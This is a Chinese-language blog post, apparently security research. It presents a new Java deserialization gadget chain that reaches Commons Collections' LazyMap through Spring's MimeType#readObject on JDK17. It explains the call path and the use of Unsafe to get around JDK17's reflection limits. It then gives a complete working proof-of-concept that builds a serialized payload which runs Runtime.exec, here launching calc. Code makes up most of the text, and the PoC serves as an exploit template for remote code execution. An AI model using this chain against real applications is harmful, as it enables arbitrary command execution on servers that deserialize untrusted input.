Featured image of post Spring新入口类反序列化触发CC链

Spring新入口类反序列化触发CC链

Spring新入口类反序列化触发CC链

环境依赖

  • jdk17
  • springboot 3.1.1
  • CC 3.2.1

链子分析

用codeql在spring组件中找到入口类MimeType,能够触发到LazyMap#get,从而触发CC链

调用链如下:

1
MimeType#readObject -> MimeType#getParameter -> LazyMap#get

image-20250906193833678

readObject这里会进getParameter

image-20250906194500175

调用的是charset

image-20250906194531031

这里调用getParameter(‘charset’)

image-20250906195353777

这里的parameters还是map类型,可以用反射把它变成LazyMap,jdk17对反射有限制,我们用unsafe绕过就行了

POC

后半段跟CC1一样,前半段先利用unsafe反射修改

实例化

1
MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);

然后反射修改parameters为LazyMap

1
unsafe.putObject(mimeType, unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")), lazymap);

最终poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example.springcctest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import sun.misc.Unsafe;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CCTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);

        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);
        unsafe.putObject(mimeType, unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")), lazymap);

        serialize(mimeType);
        unserialize("ser.bin");
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}
使用 Hugo 构建
主题 StackJimmy 设计